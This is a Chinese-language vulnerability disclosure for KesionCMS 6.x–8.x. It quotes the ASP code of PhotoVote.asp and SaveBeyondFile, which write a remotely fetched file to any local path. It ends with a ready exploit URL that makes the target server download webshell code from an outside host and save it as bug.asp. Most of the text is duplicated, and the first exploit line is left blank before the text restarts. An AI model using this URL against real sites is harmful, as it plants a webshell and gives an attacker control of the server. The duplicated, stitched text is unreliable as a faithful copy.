漏洞版本:kesioncms(科讯cms) 6.x - 8.x
漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器
漏洞代码:
Wap/Plus/PhotoVote.asp中:
Dim KS : Set KS = New PublicCls
Dim ID : ID = Replace ( KS . S ( "ID" ), " " , "" )
Dim ChannelID : ChannelID = KS . G ( "ChannelID" )
If ChannelID = "" Then ChannelID = 2
If KS . G ( "LocalFileName" )<> "" And KS . G ( "RemoteFileUrl" )<> "" Then
If KS . SaveBeyondFile ( KS . G ( "LocalFileName" ), KS . G ( "RemoteFileUrl" ))= True Then
Response . write KS . G ( "LocalFileName" ) '错误提示
End If
End If
……
'==================================================
'过程名:SaveBeyondFile
'作 用:保存远程的文件到本地
'参 数:LocalFileName ------ 本地文件名
'参 数:RemoteFileUrl ------ 远程文件URL
'==================================================
Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
On Error Resume Next
SaveBeyondFile=True
dim Ads,Retrieval,GetRemoteData
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", RemoteFileUrl, False, "", ""
.Send
If .Readystate<>4 then
SaveBeyondFile=False
Exit Function
End If
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile server.MapPath(LocalFileName),2
.Cancel()
.Close()
End With
If Err.Number<>0 Then
Err.Clear
SaveBeyondFile=False
Exit Function
End If
Set Ads=nothing
End Function
通过上面的代码可见,KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅判断是否为空和过滤一些SQL字符,然后就执行写入文件操作,过滤不严导致可构造恶意url写入文件。
漏洞利用URL:
漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器
漏洞代码:
Wap/Plus/PhotoVote.asp中:
Dim KS : Set KS = New PublicCls
Dim ID : ID = Replace ( KS . S ( "ID" ), " " , "" )
Dim ChannelID : ChannelID = KS . G ( "ChannelID" )
If ChannelID = "" Then ChannelID = 2
If KS . G ( "LocalFileName" )<> "" And KS . G ( "RemoteFileUrl" )<> "" Then
If KS . SaveBeyondFile ( KS . G ( "LocalFileName" ), KS . G ( "RemoteFileUrl" ))= True Then
Response . write KS . G ( "LocalFileName" ) '错误提示
End If
End If
……
'==================================================
'过程名:SaveBeyondFile
'作 用:保存远程的文件到本地
'参 数:LocalFileName ------ 本地文件名
'参 数:RemoteFileUrl ------ 远程文件URL
'==================================================
Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
On Error Resume Next
SaveBeyondFile=True
dim Ads,Retrieval,GetRemoteData
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", RemoteFileUrl, False, "", ""
.Send
If .Readystate<>4 then
SaveBeyondFile=False
Exit Function
End If
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile server.MapPath(LocalFileName),2
.Cancel()
.Close()
End With
If Err.Number<>0 Then
Err.Clear
SaveBeyondFile=False
Exit Function
End If
Set Ads=nothing
End Function
通过上面的代码可见,KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅判断是否为空和过滤一些SQL字符,然后就执行写入文件操作,过滤不严导致可构造恶意url写入文件。
漏洞利用URL:
http://目标网址/Wap/Plus/PhotoVote.asp?LocalFileName=bug.asp&RemoteFileUrl=http://bug8.com/code.txt
其中的code.txt为webshell代码文本。此URL将会在Wap/Plus下写入bug.asp,并返回文件名。